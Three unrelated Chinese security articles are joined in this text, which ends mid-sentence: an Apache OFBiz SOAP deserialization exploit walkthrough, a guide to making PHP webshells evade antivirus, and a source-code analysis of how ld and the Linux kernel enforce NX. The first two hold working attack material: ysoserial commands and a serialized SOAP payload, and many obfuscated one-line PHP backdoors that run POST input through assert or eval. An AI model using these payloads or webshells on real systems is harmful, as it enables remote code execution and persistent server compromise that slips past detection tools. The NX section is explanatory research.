工具：Idea + [apache-ofbiz-17.12.01.zip](https://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip) \+ gradle-6.8.3 + jdk11 + jkd1.8
jdk11是gradle用来构建项目的，jdk1.8是用来运行项目的。大概过程如下：
首先Idea打开整个ofbiz工程，配置gradle目录
高版本的gralde需要jdk11以上环境（一开始我配的是jdk1.8，但是构建项目就报错了），确定之后，然后就进入漫长的等待时间，然后build一下
Build完成后，会在项目目录下生成build文件夹，以及ofbiz.jar等文件。
然后edit congfigurations 添加JAR Application
调试运行（jdk要选1.8的，用jdk11会报错），然后在framework\webapp\src\main\java\org\apache\ofbiz\webapp\event\SOAPEventHandler.java
public String invoke(*)下断点。
网页访问：/webtools/control/SOAPService，成功断下。
## 漏洞跟踪调试
我们先看下payload格式，再跟踪代码流程。
当访问<https://ip:8443/webtools/control/SOAPService>时，程序会进入SOAPEventHandler模块进行处理，具体网站路径的路由控制可以参考<https://xz.aliyun.com/t/8184/>这篇文章。函数负责接收soap数据，并进调用SoapSerializer.deserialize()函数进行反序列化处理，代码如下：
然后调用XmlSerializer.deserialize()
然后调用deserializeSingle()函数,这个函数需要重点关注，函数决定你构造的payload的格式。
函数首先获取了我们的标签cus-obj,然后和一些标签进行比较，如果没有匹配到，则调用deserializeCustom()函数，获取标签内的值，然后将16进制转化成字节数组。然后调用readObject()将字节数组反序列化,触发漏洞。
这里函数里使用了SafeObjectInputStream类，做了一些安全处理，加了白名单机制，只允许白名单内的类进行反序列化。
我对比看了下ofbiz16版本系列的，这里是没有SafeObjectInputStream过滤的。
应该是官方自己发现这里有反序列化漏洞问题，所有加了白名单机制，限制了反序列化的类，但是在加白名单时比较松散,“java.”白名单范围太大，导致漏洞依然可以被利用，使用ysoserial的rmi
payload依然可以做到任意命令执行。
最新版本的补丁，添加了java.rmi.server的过滤。
## 漏洞测试
1、生成payload
java -jar ysoserial-master-30099844c6-1.jar JRMPClient "127.0.0.1:1099" > calc.ser
2、将calc.ser转成16进制
import binascii
filename = 'calc.ser'
with open(filename, 'rb') as f:
content = f.read()
print(binascii.hexlify(content))
3、java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener
1099 CommonsBeanutils1 “calc”
4、构造payload发送到目标服务器
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ser> <cus-obj>aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e310000044b000000000b3e7d8b00000000000000000000000000000078</cus-obj>
</ser>
</soapenv:Body>
</soapenv:Envelope>
## 总结思考
1、我在跟踪调试时，发现触发这个漏洞的流程并不只这一条，还有其他方式可以触发该漏洞，有兴趣的可以找一下。
2、总感觉他这个白名单范围过大，如果以后有大佬找到新的利用链，那这个白名单很可能被绕过。
参考：
1、 <https://xz.aliyun.com/t/8184/>
2、 https://www.o2oxy.cn/3271.html | 社区文章 |
# 0x01 前言
尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧
# 0x02 目录
1. 关于eval 于 assert
2. 字符串变形
3. 定义函数绕过
4. 回调函数
5. 回调函数变形
6. 特殊字符干扰
7. 数组
8. 类
9. 编码绕过
10. 无字符特征马
11. PHP7.1后webshell何去何从
12. 总结
# 0x03 关于eval 于 assert
关于eval函数在php给出的官方说明是
> eval 是一个语言构造器而不是一个函数，不能被 可变函数 调用
> 可变函数：通过一个变量，获取其对应的变量值，然后通过给该值增加一个括号()，让系统认为该值是一个函数，从而当做函数来执行
> 通俗的说比如你 `<?php $a=eval;$a() ?>` 这样是不行的
> 也造就了用eval的话达不到assert的灵活，但是在php7.1以上assert已经不行
关于assert函数
> assert() 回调函数在构建自动测试套件的时候尤其有用，因为它们允许你简易地捕获传入断言的代码，并包含断言的位置信息。
> 当信息能够被其他方法捕获，使用断言可以让它更快更方便！
# 0x04 字符串变形
字符串变形多数用于BYPASS安全狗，相当对于D盾，安全狗更加重视"形"
一个特殊的变形就能绕过安全狗，看看PHP手册，有着很多关于操作字符串的函数
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。
由于PHP的灵活性操作字符串的函数很多，我这里就不一一列举了
用`substr_replace()` 函数变形assert 达到免杀的效果
<?php
$a = substr_replace("assexx","rt",4);
$a($_POST['x']);
?>
其他函数类似 不一一列举了
# 0x05 定义函数绕过
定义一个函数把关键词分割达到bypass效果
<?php
function kdog($a){
$a($_POST['x']);
}
kdog(assert);
?>
反之
<?php
function kdog($a){
assert($a);
}
kdog($_POST[x]);
?>
效果一样，这种绕过方法，对安全狗还是比较有效的 在d盾面前就显得小儿科了 ，不过后面会讲到如何用定义函数的方法来 绕过d盾
# 0x05 回调函数
call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
回调函数大部分已经被安全软件加入全家桶套餐 所以找到一个生僻的不常用的回调函数来执行 比如
<?php
forward_static_call_array(assert,array($_POST[x]));
?>
这个函数能过狗，但是D盾显示是一级
# 0x05 回调函数变形
前面说过众多回调函数已经被加入豪华套餐了，怎么绕过呢，其实也很简单 那就是定义个函数 或者类来调用
定义一个函数
<?php
function test($a,$b){
array_map($a,$b);
}
test(assert,array($_POST['x']));
?>
定义一个类
<?php
class loveme {
var $a;
var $b;
function __construct($a,$b) {
$this->a=$a;
$this->b=$b;
}
function test() {
array_map($this->a,$this->b);
}
}
$p1=new loveme(assert,array($_POST['x']));
$p1->test();
?>
# 0x06 特殊字符干扰
特殊字符干扰，要求是能干扰到杀软的正则判断，还要代码能执行,网上广为流传的连接符
初代版本
<?php
$a = $_REQUEST['a'];
$b = null;
eval($b.$a);
?>
不过已经不能免杀了，利用适当的变形即可免杀 如
<?php
$a = $_POST['a'];
$b = "\n";
eval($b.=$a);
?>
其他方法大家尽情发挥如"\r\n\t",函数返回，类，等等
除了连接符号 还有个命名空间的东西 \ 具体大家可以看看php手册
<?php
function dog($a){
\assert($a);
}
dog($_POST[x]);
?>
当然还有其他的符号熟读PHP手册就会有不一样的发现
# 0x07 数组
把执行代码放入数组中执行绕过
<?php
$a = substr_replace("assexx","rt",4);
$b=[''=>$a($_POST['q'])];
?>
多维数组
<?php
$b = substr_replace("assexx","rt",4);
$a = array($arrayName = array('a' => $b($_POST['q'])));
?>
# 0x08 类
说到类肯定要搭配上魔术方法比如 `__destruct()`，`__construct()`
直接上代码
<?php
class me
{
public $a = '';
function __destruct(){
assert("$this->a");
}
}
$b = new me;
$b->a = $_POST['x'];
?>
用类把函数包裹,D盾对类查杀较弱
# 0x09 编码绕过
用php的编码函数，或者用异或等等
简单的base64_decode,其中因为他的正则匹配可以加入一些下划线干扰杀软
<?php
$a = base64_decode("YXNz+ZX____J____0");
$a($_POST[x]);
?>
异或
<?php
$a= ("!"^"@").'ssert';
$a($_POST[x]);
?>
# 0x9 无字符特征马
对于无特征马这里我的意思是 无字符特征
1. 利用异或,编码等方式 例如p神博客的
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
1. 利用正则匹配字符 如Tab等 然后转换为字符
1. 利用POST包获取关键参数执行 例如
<?php
$decrpt = $_POST['x'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
call_user_func($arrs[0],$arrs[1]);
?>
# 0x10 PHP7.1后webshell何去何从
在php7.1后面我们已经不能使用强大的assert函数了用eval将更加注重特殊的调用方法和一些字符干扰,后期大家可能更加倾向使用大马
可以偷偷介绍下我的公众号吗 aleenzz (404安全)
# 总结
对于安全狗杀形，d盾杀参的思路来绕过。生僻的回调函数,特殊的加密方式,以及关键词的后传入都是不错的选择。
对于关键词的后传入对免杀安全狗，d盾，河马 等等都是不错的，后期对于菜刀的轮子，也要走向高度的自定义化
用户可以对传出的post数据进行自定义脚本加密，再由webshell进行解密获取参数，那么以现在的软WAF查杀能力
几乎为0，安全软件也需要与时俱进了。 | 社区文章 |
# NX实现机制浅析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00前言
* GNU Binutils Version：2.34
* Kernel Version：4.15.0
* Debugging Env：Ubuntu 20.04.02 x64
是否开启NX取决于参数`-z`设置，而gcc仅仅是将`-z keyword`传递给linker——ld，并不会真正解析该参数：
可以使用`-###`参数(该参数并不会执行任何命令，仅仅是打印命令及参数。若要执行命令需使用`-v`参数)查看这一过程：
> -v
> Print (on standard error output) the commands executed to run the stages of
> compilation. Also print the version number of the compiler driver program
> and of the preprocessor and the compiler proper.
>
> -###
> Like -v except the commands are not executed and arguments are quoted
> unless they contain only alphanumeric characters or `./-_`. This is useful
> for shell scripts to capture the driver-generated command lines.
上图中`collect2`会执行`ld`，并为其传递参数：
## 0x01 ld
查看下`-z`参数含义：
下面从源码角度来分析。`ld`相关源码位于ld目录下，`main`函数(位于`ldmain.c`文件)如下：
ld_config_type config;
......
struct bfd_link_info link_info;
......
int
main (int argc, char **argv)
{
......
config.build_constructors = TRUE;
config.rpath_separator = ':';
config.split_by_reloc = (unsigned) -1;
config.split_by_file = (bfd_size_type) -1;
config.make_executable = TRUE;
config.magic_demand_paged = TRUE;
config.text_read_only = TRUE;
config.print_map_discarded = TRUE;
link_info.disable_target_specific_optimizations = -1;
command_line.warn_mismatch = TRUE;
command_line.warn_search_mismatch = TRUE;
command_line.check_section_addresses = -1;
/* We initialize DEMANGLING based on the environment variable
COLLECT_NO_DEMANGLE. The gcc collect2 program will demangle the
output of the linker, unless COLLECT_NO_DEMANGLE is set in the
environment. Acting the same way here lets us provide the same
interface by default. */
demangling = getenv ("COLLECT_NO_DEMANGLE") == NULL;
link_info.allow_undefined_version = TRUE;
......
parse_args (argc, argv);
`parse_args`函数负责解析参数，位于`lexsup.c`文件：
void
parse_args (unsigned argc, char **argv)
{
......
char *shortopts;
struct option *longopts;
struct option *really_longopts;
......
shortopts = (char *) xmalloc (OPTION_COUNT * 3 + 2);
longopts = (struct option *)
xmalloc (sizeof (*longopts) * (OPTION_COUNT + 1));
really_longopts = (struct option *)
malloc (sizeof (*really_longopts) * (OPTION_COUNT + 1));
/* Starting the short option string with '-' is for programs that
expect options and other ARGV-elements in any order and that care about
the ordering of the two. We describe each non-option ARGV-element
as if it were the argument of an option with character code 1. */
shortopts[0] = '-';
is = 1;
il = 0;
irl = 0;
for (i = 0; i < OPTION_COUNT; i++)
{
if (ld_options[i].shortopt != '\0')
{
shortopts[is] = ld_options[i].shortopt;
++is;
if (ld_options[i].opt.has_arg == required_argument
|| ld_options[i].opt.has_arg == optional_argument)
{
shortopts[is] = ':';
++is;
if (ld_options[i].opt.has_arg == optional_argument)
{
shortopts[is] = ':';
++is;
}
}
}
if (ld_options[i].opt.name != NULL)
{
if (ld_options[i].control == EXACTLY_TWO_DASHES)
{
really_longopts[irl] = ld_options[i].opt;
++irl;
}
else
{
longopts[il] = ld_options[i].opt;
++il;
}
}
}
shortopts[is] = '\0';
longopts[il].name = NULL;
really_longopts[irl].name = NULL;
......
`parse_args`函数首先会由`ld_options`数组初始化`shortopts`，`longopts`以及`really_longopts`变量内容，这三个变量会传递给`getopt_long_only`与`getopt_long`函数以解析命令行参数：
......
last_optind = -1;
while (1)
{
int longind;
int optc;
static unsigned int defsym_count;
/* Using last_optind lets us avoid calling ldemul_parse_args
multiple times on a single option, which would lead to
confusion in the internal static variables maintained by
getopt. This could otherwise happen for an argument like
-nx, in which the -n is parsed as a single option, and we
loop around to pick up the -x. */
if (optind != last_optind)
if (ldemul_parse_args (argc, argv))
continue;
/* getopt_long_only is like getopt_long, but '-' as well as '--'
can indicate a long option. */
opterr = 0;
last_optind = optind;
optc = getopt_long_only (argc, argv, shortopts, longopts, &longind);
if (optc == '?')
{
optind = last_optind;
optc = getopt_long (argc, argv, "-", really_longopts, &longind);
}
if (ldemul_handle_option (optc))
continue;
if (optc == -1)
break;
......
`ldemul_handle_option`函数(位于`ldemul.c`文件)定义如下：
bfd_boolean
ldemul_handle_option (int optc)
{
if (ld_emulation->handle_option)
return (*ld_emulation->handle_option) (optc);
return FALSE;
}
`ld_emulation`定义为`static ld_emulation_xfer_type
*ld_emulation;`，而`ld_emulation_xfer_type`结构针对不同架构及目标文件类型，其成员会有不同定义。以ELF文件为例，该函数定义位于`elf.em`文件中(由下图可以看到同目录下针对其他架构及目标文件类型的`.em`文件)：
static bfd_boolean
gld${EMULATION_NAME}_handle_option (int optc)
{
switch (optc)
{
default:
return FALSE;
......
case 'z':
......
else if (strcmp (optarg, "execstack") == 0)
{
link_info.execstack = TRUE;
link_info.noexecstack = FALSE;
}
else if (strcmp (optarg, "noexecstack") == 0)
{
link_info.noexecstack = TRUE;
link_info.execstack = FALSE;
}
上述函数调用关系为：
之后`main`函数调用`lang_process()`，位于ldlang.c文件中。`lang_process()`函数会调用`ldemul_before_allocation()`，该函数同样位于`ldemul.c`文件，其定义如下：
void
ldemul_before_allocation (void)
{
ld_emulation->before_allocation ();
}
查看`elf.em`：
static void
gld${EMULATION_NAME}_before_allocation (void)
{
ldelf_before_allocation (audit, depaudit, ${ELF_INTERPRETER_NAME});
}
`ldelf_before_allocation`函数定义位于`ldelf.c`文件中，其调用`bfd_elf_size_dynamic_sections`函数：
......
if (! (bfd_elf_size_dynamic_sections
(link_info.output_bfd, command_line.soname, rpath,
command_line.filter_shlib, audit, depaudit,
(const char * const *) command_line.auxiliary_filters,
&link_info, &sinterp)))
einfo (_("%F%P: failed to set dynamic section sizes: %E\n"));
......
而该函数会执行如下操作：
......
if (info->execstack)
elf_stack_flags (output_bfd) = PF_R | PF_W | PF_X;
else if (info->noexecstack)
elf_stack_flags (output_bfd) = PF_R | PF_W;
......
上述函数调用关系为：
`main`函数最终执行`ldwrite()`函数将stack_flags写入Segment的`p_flags`字段中：
void
ldwrite (void)
{
/* Reset error indicator, which can typically something like invalid
format from opening up the .o files. */
bfd_set_error (bfd_error_no_error);
lang_clear_os_map ();
lang_for_each_statement (build_link_order);
if (config.split_by_reloc != (unsigned) -1
|| config.split_by_file != (bfd_size_type) -1)
split_sections (link_info.output_bfd, &link_info);
if (!bfd_final_link (link_info.output_bfd, &link_info))
{
/* If there was an error recorded, print it out. Otherwise assume
an appropriate error message like unknown symbol was printed
out. */
if (bfd_get_error () != bfd_error_no_error)
einfo (_("%F%P: final link failed: %E\n"));
else
xexit (1);
}
}
调用的`bfd_final_link`函数针对不同目标文件会有不同实现，以ELF文件为例，该函数对应实现为`bfd_elf_final_link`，位于elflink.c文件。其调用`_bfd_elf_compute_section_file_positions`函数，该函数再调用`assign_file_positions_except_relocs`函数：
/* Work out the file positions of all the sections. This is called by
_bfd_elf_compute_section_file_positions. All the section sizes and
VMAs must be known before this is called.
Reloc sections come in two flavours: Those processed specially as
"side-channel" data attached to a section to which they apply, and those that
bfd doesn't process as relocations. The latter sort are stored in a normal
bfd section by bfd_section_from_shdr. We don't consider the former sort
here, unless they form part of the loadable image. Reloc sections not
assigned here (and compressed debugging sections and CTF sections which
nothing else in the file can rely upon) will be handled later by
assign_file_positions_for_relocs.
We also don't set the positions of the .symtab and .strtab here. */
static bfd_boolean
assign_file_positions_except_relocs (bfd *abfd,
struct bfd_link_info *link_info)
{
struct elf_obj_tdata *tdata = elf_tdata (abfd);
Elf_Internal_Ehdr *i_ehdrp = elf_elfheader (abfd);
const struct elf_backend_data *bed = get_elf_backend_data (abfd);
unsigned int alloc;
if ((abfd->flags & (EXEC_P | DYNAMIC)) == 0
&& bfd_get_format (abfd) != bfd_core)
{
......
}
else
{
/* Assign file positions for the loaded sections based on the
assignment of sections to segments. */
if (!assign_file_positions_for_load_sections (abfd, link_info))
return FALSE;
/* And for non-load sections. */
if (!assign_file_positions_for_non_load_sections (abfd, link_info))
return FALSE;
}
if (!(*bed->elf_backend_modify_headers) (abfd, link_info))
return FALSE;
/* Write out the program headers. */
alloc = i_ehdrp->e_phnum;
if (alloc != 0)
{
if (bfd_seek (abfd, i_ehdrp->e_phoff, SEEK_SET) != 0
|| bed->s->write_out_phdrs (abfd, tdata->phdr, alloc) != 0)
return FALSE;
}
return TRUE;
}
`assign_file_positions_for_load_sections`函数调用`_bfd_elf_map_sections_to_segments`将Sections映射到Segments：
static bfd_boolean
assign_file_positions_for_load_sections (bfd *abfd,
struct bfd_link_info *link_info)
{
const struct elf_backend_data *bed = get_elf_backend_data (abfd);
struct elf_segment_map *m;
struct elf_segment_map *phdr_load_seg;
Elf_Internal_Phdr *phdrs;
Elf_Internal_Phdr *p;
file_ptr off;
bfd_size_type maxpagesize;
unsigned int alloc, actual;
unsigned int i, j;
struct elf_segment_map **sorted_seg_map;
if (link_info == NULL
&& !_bfd_elf_map_sections_to_segments (abfd, link_info))
return FALSE;
......
`_bfd_elf_map_sections_to_segments`负责将stack_flags写入Segment的`p_flags`字段：
......
if (elf_stack_flags (abfd))
{
amt = sizeof (struct elf_segment_map);
m = (struct elf_segment_map *) bfd_zalloc (abfd, amt);
if (m == NULL)
goto error_return;
m->next = NULL;
m->p_type = PT_GNU_STACK;
m->p_flags = elf_stack_flags (abfd);
m->p_align = bed->stack_align;
m->p_flags_valid = 1;
m->p_align_valid = m->p_align != 0;
if (info->stacksize > 0)
{
m->p_size = info->stacksize;
m->p_size_valid = 1;
}
*pm = m;
pm = &m->next;
}
......
变量`m`为`elf_segment_map`结构类型，其定义位于internal.h文件：
/* This structure is used to describe how sections should be assigned
to program segments. */
struct elf_segment_map
{
/* Next program segment. */
struct elf_segment_map *next;
/* Program segment type. */
unsigned long p_type;
/* Program segment flags. */
unsigned long p_flags;
/* Program segment physical address. */
bfd_vma p_paddr;
/* Program segment virtual address offset from section vma. */
bfd_vma p_vaddr_offset;
/* Program segment alignment. */
bfd_vma p_align;
/* Segment size in file and memory */
bfd_vma p_size;
/* Whether the p_flags field is valid; if not, the flags are based
on the section flags. */
unsigned int p_flags_valid : 1;
/* Whether the p_paddr field is valid; if not, the physical address
is based on the section lma values. */
unsigned int p_paddr_valid : 1;
/* Whether the p_align field is valid; if not, PT_LOAD segment
alignment is based on the default maximum page size. */
unsigned int p_align_valid : 1;
/* Whether the p_size field is valid; if not, the size are based
on the section sizes. */
unsigned int p_size_valid : 1;
/* Whether this segment includes the file header. */
unsigned int includes_filehdr : 1;
/* Whether this segment includes the program headers. */
unsigned int includes_phdrs : 1;
/* Assume this PT_LOAD header has an lma of zero when sorting
headers before assigning file offsets. PT_LOAD headers with this
flag set are placed after one with includes_filehdr set, and
before PT_LOAD headers without this flag set. */
unsigned int no_sort_lma : 1;
/* Index holding original order before sorting segments. */
unsigned int idx;
/* Number of sections (may be 0). */
unsigned int count;
/* Sections. Actual number of elements is in count field. */
asection *sections[1];
};
上述函数调用关系为：
最终体现在目标文件中：
## 0x02 kernel
处理程序执行的系统调用为`execve`：
SYSCALL_DEFINE3(execve,
const char __user *, filename,
const char __user *const __user *, argv,
const char __user *const __user *, envp)
{
return do_execve(getname(filename), argv, envp);
}
查看`do_execve`函数定义
int do_execve(struct filename *filename,
const char __user *const __user *__argv,
const char __user *const __user *__envp)
{
struct user_arg_ptr argv = { .ptr.native = __argv };
struct user_arg_ptr envp = { .ptr.native = __envp };
return do_execveat_common(AT_FDCWD, filename, argv, envp, 0);
}
`do_execveat_common`函数定义如下：
/*
* sys_execve() executes a new program.
*/
static int do_execveat_common(int fd, struct filename *filename,
struct user_arg_ptr argv,
struct user_arg_ptr envp,
int flags)
{
char *pathbuf = NULL;
struct linux_binprm *bprm;
struct file *file;
struct files_struct *displaced;
int retval;
if (IS_ERR(filename))
return PTR_ERR(filename);
/*
* We move the actual failure in case of RLIMIT_NPROC excess from
* set*uid() to execve() because too many poorly written programs
* don't check setuid() return code. Here we additionally recheck
* whether NPROC limit is still exceeded.
*/
if ((current->flags & PF_NPROC_EXCEEDED) &&
atomic_read(¤t_user()->processes) > rlimit(RLIMIT_NPROC)) {
retval = -EAGAIN;
goto out_ret;
}
/* We're below the limit (still or again), so we don't want to make
* further execve() calls fail. */
current->flags &= ~PF_NPROC_EXCEEDED;
retval = unshare_files(&displaced);
if (retval)
goto out_ret;
retval = -ENOMEM;
bprm = kzalloc(sizeof(*bprm), GFP_KERNEL);
if (!bprm)
goto out_files;
retval = prepare_bprm_creds(bprm);
if (retval)
goto out_free;
check_unsafe_exec(bprm);
current->in_execve = 1;
file = do_open_execat(fd, filename, flags);
retval = PTR_ERR(file);
if (IS_ERR(file))
goto out_unmark;
sched_exec();
bprm->file = file;
if (fd == AT_FDCWD || filename->name[0] == '/') {
bprm->filename = filename->name;
} else {
if (filename->name[0] == '\0')
pathbuf = kasprintf(GFP_KERNEL, "/dev/fd/%d", fd);
else
pathbuf = kasprintf(GFP_KERNEL, "/dev/fd/%d/%s",
fd, filename->name);
if (!pathbuf) {
retval = -ENOMEM;
goto out_unmark;
}
/*
* Record that a name derived from an O_CLOEXEC fd will be
* inaccessible after exec. Relies on having exclusive access to
* current->files (due to unshare_files above).
*/
if (close_on_exec(fd, rcu_dereference_raw(current->files->fdt)))
bprm->interp_flags |= BINPRM_FLAGS_PATH_INACCESSIBLE;
bprm->filename = pathbuf;
}
bprm->interp = bprm->filename;
retval = bprm_mm_init(bprm);
if (retval)
goto out_unmark;
bprm->argc = count(argv, MAX_ARG_STRINGS);
if ((retval = bprm->argc) < 0)
goto out;
bprm->envc = count(envp, MAX_ARG_STRINGS);
if ((retval = bprm->envc) < 0)
goto out;
retval = prepare_binprm(bprm);
if (retval < 0)
goto out;
retval = copy_strings_kernel(1, &bprm->filename, bprm);
if (retval < 0)
goto out;
bprm->exec = bprm->p;
retval = copy_strings(bprm->envc, envp, bprm);
if (retval < 0)
goto out;
retval = copy_strings(bprm->argc, argv, bprm);
if (retval < 0)
goto out;
would_dump(bprm, bprm->file);
retval = exec_binprm(bprm);
if (retval < 0)
goto out;
/* execve succeeded */
current->fs->in_exec = 0;
current->in_execve = 0;
membarrier_execve(current);
acct_update_integrals(current);
task_numa_free(current);
free_bprm(bprm);
kfree(pathbuf);
putname(filename);
if (displaced)
put_files_struct(displaced);
return retval;
out:
`bprm`变量指向`linux_binprm`结构，该结构存储与可执行文件相关的信息，其定义如下：
/*
* This structure is used to hold the arguments that are used when loading binaries.
*/
struct linux_binprm {
char buf[BINPRM_BUF_SIZE]; //#define BINPRM_BUF_SIZE 128 存储可执行文件前128字节
#ifdef CONFIG_MMU
struct vm_area_struct *vma;
unsigned long vma_pages;
#else
# define MAX_ARG_PAGES 32
struct page *page[MAX_ARG_PAGES];
#endif
struct mm_struct *mm;
unsigned long p; /* current top of mem */
unsigned int
/*
* True after the bprm_set_creds hook has been called once
* (multiple calls can be made via prepare_binprm() for
* binfmt_script/misc).
*/
called_set_creds:1,
/*
* True if most recent call to the commoncaps bprm_set_creds
* hook (due to multiple prepare_binprm() calls from the
* binfmt_script/misc handlers) resulted in elevated
* privileges.
*/
cap_elevated:1,
/*
* Set by bprm_set_creds hook to indicate a privilege-gaining
* exec has happened. Used to sanitize execution environment
* and to set AT_SECURE auxv for glibc.
*/
secureexec:1;
#ifdef __alpha__
unsigned int taso:1;
#endif
unsigned int recursion_depth; /* only for search_binary_handler() */
struct file * file;
struct cred *cred; /* new credentials */
int unsafe; /* how unsafe this exec is (mask of LSM_UNSAFE_*) */
unsigned int per_clear; /* bits to clear in current->personality */
int argc, envc;
const char * filename; /* Name of binary as seen by procps */
const char * interp; /* Name of the binary really executed. Most
of the time same as filename, but could be
different for binfmt_{misc,script} */
unsigned interp_flags;
unsigned interp_data;
unsigned long loader, exec;
} __randomize_layout;
`do_execveat_common`函数会填充`bprm`变量中内容，之后做一些权限检查，复制及初始化工作，最后调用`exec_binprm`函数执行可执行文件：
static int exec_binprm(struct linux_binprm *bprm)
{
pid_t old_pid, old_vpid;
int ret;
/* Need to fetch pid before load_binary changes it */
old_pid = current->pid;
rcu_read_lock();
old_vpid = task_pid_nr_ns(current, task_active_pid_ns(current->parent));
rcu_read_unlock();
ret = search_binary_handler(bprm);
if (ret >= 0) {
audit_bprm(bprm);
trace_sched_process_exec(current, old_pid, bprm);
ptrace_event(PTRACE_EVENT_EXEC, old_vpid);
proc_exec_connector(current);
}
return ret;
}
其调用`search_binary_handler`函数对`formats`链表进行扫描，并执行其`load_binary`函数，直到其中一个成功解析了可执行文件格式，否则会返回负值：
/*
* cycle the list of binary formats handler, until one recognizes the image
*/
int search_binary_handler(struct linux_binprm *bprm)
{
bool need_retry = IS_ENABLED(CONFIG_MODULES);
struct linux_binfmt *fmt;
int retval;
/* This allows 4 levels of binfmt rewrites before failing hard. */
if (bprm->recursion_depth > 5)
return -ELOOP;
retval = security_bprm_check(bprm);
if (retval)
return retval;
retval = -ENOENT;
retry:
read_lock(&binfmt_lock);
list_for_each_entry(fmt, &formats, lh) {
if (!try_module_get(fmt->module))
continue;
read_unlock(&binfmt_lock);
bprm->recursion_depth++;
retval = fmt->load_binary(bprm);
read_lock(&binfmt_lock);
put_binfmt(fmt);
bprm->recursion_depth--;
if (retval < 0 && !bprm->mm) {
/* we got to flush_old_exec() and failed after it */
read_unlock(&binfmt_lock);
force_sigsegv(SIGSEGV, current);
return retval;
}
if (retval != -ENOEXEC || !bprm->file) {
read_unlock(&binfmt_lock);
return retval;
}
}
read_unlock(&binfmt_lock);
if (need_retry) {
if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
printable(bprm->buf[2]) && printable(bprm->buf[3]))
return retval;
if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
return retval;
need_retry = false;
goto retry;
}
return retval;
}
EXPORT_SYMBOL(search_binary_handler);
对于ELF文件，`load_binary`对应于`load_elf_binary`，其定义位于binfmt_elf.c文件：
static struct linux_binfmt elf_format = {
.module = THIS_MODULE,
.load_binary = load_elf_binary,
.load_shlib = load_elf_library,
.core_dump = elf_core_dump,
.min_coredump = ELF_EXEC_PAGESIZE,
};
该函数会执行如下操作:
......
struct elf_phdr *elf_ppnt, *elf_phdata, *interp_elf_phdata = NULL;
......
int executable_stack = EXSTACK_DEFAULT;
elf_ppnt = elf_phdata;
for (i = 0; i < loc->elf_ex.e_phnum; i++, elf_ppnt++)
switch (elf_ppnt->p_type) {
case PT_GNU_STACK:
if (elf_ppnt->p_flags & PF_X)
executable_stack = EXSTACK_ENABLE_X;
else
executable_stack = EXSTACK_DISABLE_X;
break;
case PT_LOPROC ... PT_HIPROC:
retval = arch_elf_pt_proc(&loc->elf_ex, elf_ppnt,
bprm->file, false,
&arch_state);
if (retval)
goto out_free_dentry;
break;
}
......
retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP),
executable_stack);
if (retval < 0)
goto out_free_dentry;
`setup_arg_pages`函数定义位于exec.c文件中：
/*
* Finalizes the stack vm_area_struct. The flags and permissions are updated,
* the stack is optionally relocated, and some extra space is added.
*/
int setup_arg_pages(struct linux_binprm *bprm,
unsigned long stack_top,
int executable_stack)
{
unsigned long ret;
unsigned long stack_shift;
struct mm_struct *mm = current->mm;
struct vm_area_struct *vma = bprm->vma;
struct vm_area_struct *prev = NULL;
unsigned long vm_flags;
unsigned long stack_base;
unsigned long stack_size;
unsigned long stack_expand;
unsigned long rlim_stack;
......
vm_flags = VM_STACK_FLAGS;
/*
* Adjust stack execute permissions; explicitly enable for
* EXSTACK_ENABLE_X, disable for EXSTACK_DISABLE_X and leave alone
* (arch default) otherwise.
*/
if (unlikely(executable_stack == EXSTACK_ENABLE_X))
vm_flags |= VM_EXEC;
else if (executable_stack == EXSTACK_DISABLE_X)
vm_flags &= ~VM_EXEC;
vm_flags |= mm->def_flags;
vm_flags |= VM_STACK_INCOMPLETE_SETUP;
ret = mprotect_fixup(vma, &prev, vma->vm_start, vma->vm_end,vm_flags);
if (ret)
goto out_unlock;
......
`mprotect_fixup`函数进行检查过后，会执行如下语句将`vm_flags`赋值给`vma->vm_flags`：
int mprotect_fixup(struct vm_area_struct *vma, struct vm_area_struct **pprev,unsigned long start, unsigned long end, unsigned long newflags)
{
......
success:
/*
* vm_flags and vm_page_prot are protected by the mmap_sem
* held in write mode.
*/
vma->vm_flags = newflags;
如此一来，`bprm->vma`中的`vm_flags`值为`newflags`，确定了该虚拟地址空间的访问权限，权限定义位于mm.h文件中：
/*
* vm_flags in vm_area_struct, see mm_types.h.
* When changing, update also include/trace/events/mmflags.h
*/
#define VM_NONE 0x00000000
#define VM_READ 0x00000001 /* currently active flags */
#define VM_WRITE 0x00000002
#define VM_EXEC 0x00000004
#define VM_SHARED 0x00000008
上述函数调用关系为：
关于NX在CPU层面的实现，以Intel为例。Intel SDM中描述如下：
只有`CPUID.80000001H:EDX.NX [bit 20] =
